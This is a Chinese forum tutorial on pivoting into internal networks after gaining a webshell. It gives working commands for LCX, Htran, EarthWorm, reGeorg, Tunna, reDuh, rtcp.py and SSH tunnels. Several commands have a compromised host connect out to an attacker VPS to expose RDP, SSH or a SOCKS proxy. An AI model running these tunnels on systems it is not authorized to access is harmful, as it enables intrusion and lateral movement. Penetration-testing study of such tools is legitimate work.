0. 序
原文發在t00ls,反饋不錯,被評為精華帖子。
在綜合的滲透過程中,Shell is Only the Beginning 。 內網滲透無論是難度還是廣度都不亞於前端入侵。
介於Webshell 和 內網滲透之間的是 代理轉發工具。 一個高效穩定代理尤為重要。
我們經常用的代理轉發工具包括:端口轉發工具、Web代理腳本、Shell反彈腳本、VPN等,如下圖
1. 關於代理的說明
1. 引用redrain:正向代理是我們自己(Lhost)戴套(proxy)插進去,反向代理是她(Rhost)主動通過上位(proxy)坐上來(Lhost)
2. 反向代理:將內網的流量轉發到外網 ; 正向代理:以某台機器為跳板,做正向代理進行內網穿透
2. 關於多個代理轉發工具的使用心得
總體來講,自身使用頻率較高的是:
第一個是 LCX 對 windows 3389 的轉發;
第二個是 reGeorg 通過上傳對應腳本(PHP/ASPX/JSP),然后全局代理進一步內網滲透;
第三個是 EarthWorm ,今年發現的,效果不錯。並且還能多重網絡應用。
主要的想法心得:
1. windows 系列, 肯定把3389 彈出來 比較直接, lcx 作為首選。 當然這也是比較老的工具了。
2. linux 系列, 22 也需要轉發, 但總感覺需求不如3389大, 需要交互式shell 直接 shell 反彈就好了,比如bash nc python等。
3. 全局代理很有必要,regeorg ew 都不錯,速度也跟的上,性能相對穩定。 掛上局部或者全局代理后,可以NMAP 可以fenghuangscan 也可以POC-fuzz 等等,試想今年豬豬俠講的SSRF 作用那么大,借助代理后能做的更多。
4. 實測的 Tunna & reDuh 速度比較慢, 但reDuh 在RDP 過程中 比Tunna 快。
5. Proxifier 這個工具操作起來稍微麻煩,但用習慣了,特別好用。 比如掛代理后,遠控內網的DB...
6. SocksCap64 & proxychains 都是局部代理, 快速方便,簡單易懂。
7. Htran 這個工具支持的非常全面支持正向代理、反向代理、正向端口轉發、反向端口轉發, 在實際滲透過程中正向端口轉發略顯雞肋,誰家Web應用任你隨便開端口? 即使開了防火牆也不樂意。
8. SSH轉發、NC 、bash 等反彈,方便快捷,不用上傳東西,居家旅行必備。
如下圖,xls文件 稍后分享
3. 解釋下Web代理的原理和重要性
我用的Web代理主要是reGeorg EarthWorm , EW 的功能更完善。reGeorg 屬於正向代理、EW 支持正向&反向代理。估計后期會更加強大。
1.菜刀我們都用過,其中有個功能非常實惠,就是數據庫連接功能。 不但能夠連接自身IP的數據庫,也能連接內網對應的數據庫。 他之所以能夠做到,是因為他是以Web應用的網絡權限去連接內網數據庫。
2.同理,我們上傳腳本后,使用了Web代理,若使用了全局代理,相當於我們整個PC 的通訊都是以 Web應用的網絡權限去訪問內網。
下面我給個測試用例:
webshell 及 VPS 套用,打馬比較麻煩。 我用的是本機和虛擬機。
主機A(win10) ---- Web應用B(win2003) ---- 內網主機C(kali)
192.168.1.103 ---- 192.168.192.129 ---- 192.168.192.128
原則上來講,我用A 訪問 C 是能直接通訊的, 我沒有設置iptables, 稍后我通過wireshark 抓包來觀察現象。(若A訪問C,源地址是192.168.192.1 虛擬網卡的地址)
目的:攻擊者A 通過web應用B 看內網主機C, 在C上查看流量發現是B訪問的而非攻擊者。
步驟如下:
第一步: 上傳tunnel 文件 到 Web應用B
第二步: 在A 上,使用reGeorgSocksProxy.py 並指定端口
第三步: 設置自己的代理Proxifier 或者SocksCap64(本次使用的是proxifier)
第四步: 在C上使用wireshark 查看流量信息。(當然也可以查看日志)
截圖如下:
4. 其他工具的一些使用方法概要
PS:其實這些網上很多,最后我附上我覺得還不錯的鏈接。
LCX
VPS: lcx -listen 2222 3333
//2222為轉發端口,3333為本機任意未被占用的端口
肉雞:lcx -slave 119.75.217.56 2222 127.0.0.1 3389
//119.75.217.56 為VPS IP,2222為轉發端口,127.0.0.1為肉雞內網IP,3389為遠程終端端口
3389連接時格式 127.0.0.1:3333
rtcp.py
from:http://blog.knownsec.com/2012/02/open-source-rtcp/
A服務器在內網,公網無法直接訪問這台服務器,但是A服務器可以聯網訪問公網的B服務器(假設IP為222.2.2.2)。
我們也可以訪問公網的B服務器。我們的目標是訪問A服務器的22端口。那么可以這樣:
1. 在B服務器上運行:
./rtcp.py l:10001 l:10002
表示在本地監聽了10001與10002兩個端口,這樣,這兩個端口就可以互相傳輸數據了。
2. 在A服務器上運行:
./rtcp.py c:localhost:22 c:222.2.2.2:10001
表示連接本地的22端口與B服務器的10001端口,這兩個端口也可以互相傳輸數據了。
3. 然后我們就可以這樣來訪問A服務器的22端口了:
ssh 222.2.2.2 -p 10002
原理很簡單,這個命令執行后,B服務器的10002端口接收到的任何數據都會傳給10001端口,此時,A服務器是連接了B服務器的10001端口的,數據就會傳給A服務器,最終進入A服務器的22端口。
測試用例截圖如下:
這個過程有個報錯ssh_exchange_identification: read: Connection reset by peer 解決方法:chmod 400 /etc/ssh/*
htran
正向代理 服務端 htran.exe -s -bind 8888 客戶端 SocksCap:SOCKS Version 5 服務端IP:8888 反向代理 客戶端 htran.exe -s -listen 1234 8888 服務端 htran.exe -s -connect 客戶端IP 1234 客戶端 SocksCap:SOCKS Version 5 127.0.0.1:8888 正向端口轉發 服務端 htran.exe -p -tran 8888 127.0.0.1 3389 客戶端 RDP 服務端IP:8888 反向端口轉發 客戶端 htran.exe -p -listen 1234 8888 服務端 htran.exe -p -slave 客戶端IP 1234 127.0.0.1 3389 客戶端 RDP 127.0.0.1:8888
Tunna
這個工具用法很普通,主要是中間有個bug我給提示下
第一步 上傳腳本
第二步 運行proxy.py 並指定端口 python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v
第三步 本地執行 rdesktop 127.0.0.1:1234
bug : 在過程中,出現遠程桌面的黃框后程序斷掉,不要關閉這個提示,再運行一次即可。
reDuh
第一步:把服務端的reDuh腳本(aspx php jsp)上傳到目標服務器。
第二步:java -jar reDuhClient.jar http://192.168.3.143/reDuh.php
第三步:新開命令窗口,nc -vv localhost 1010
然后輸入[createTunnel]1234:127.0.0.1:22
//前面的1234是本機連接用的端口,中間的ip地址是目標服務器的(可以是webshell所在服務器也可以是和它同內網的服務器),后面的22是欲連接目標服務器的端口。
成功后兩個命令行窗口都會有成功提示。Successfully bound locally to port 1234. Awaiting connections.
第四步:遠程連接
reGeorg
步驟不再贅述,見原理,分享一個webshell后代理后的 測試效果
另外git還有個配套的腳本,專門用來收集內網信息的——dir_scan.py & net_scan.py 。
https://github.com/kovige/NetScan
EarthWorm
from:http://rootkiter.com/EarthWorm/
按照官網來即可,那幾個參數得多弄幾遍才會記得清。
配套的Termite 也非常不錯。
正向代理
反向代理
a) ./ew -s rcsocks -l 1080 -e 8888
// 在 1.1.1.1 的公網主機添加轉接隧道,將 1080 收到的代理請求轉交給反連 8888 端口的主機
b) ./ew -s rssocks -d 1.1.1.1 -e 8888
// 將目標網絡的可控邊界主機反向連接公網主機
c) HackTools 可通過訪問 1.1.1.1:1080 端口使用 rssocks 主機提供的 socks5 代理服務
SSH轉發
比較實用。拿來主義 SSH隧道進行代理 ssh -qTfnN -L port:host:hostport -l user remote_ip #正向隧道,監聽本地port ssh -qTfnN -R port:host:hostport -l user remote_ip #反向隧道,用於內網穿透防火牆限制之類 SSH -qTfnN -D port remotehost SSH端口轉發 ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地轉發 ssh -CfNg -R port2:127.0.0.1:port1 user@host #遠程轉發
5. 附錄-參考資料
1. http://www.freebuf.com/articles/system/12182.html Socks代理反彈突破內網
2. http://www.cnseay.com/3972/ 奇人絕技:利用php socket5代理進行內網滲透測試
3. https://www.91ri.org/14390.html 內網滲透隨想
4. http://le4f.net/post/post/revers ... he-penetration-test 滲透測試:反彈與轉發小結
5. http://staff.washington.edu/corey/fw/ssh-port-forwarding.html ssh 端口轉發
6. 文中提到的表格下載地址 分享-代理轉發工具匯總.xlsx(打開表格的密碼是sm0nk) 鏈接: https://pan.baidu.com/s/1jIxzIiq 密碼: kd8r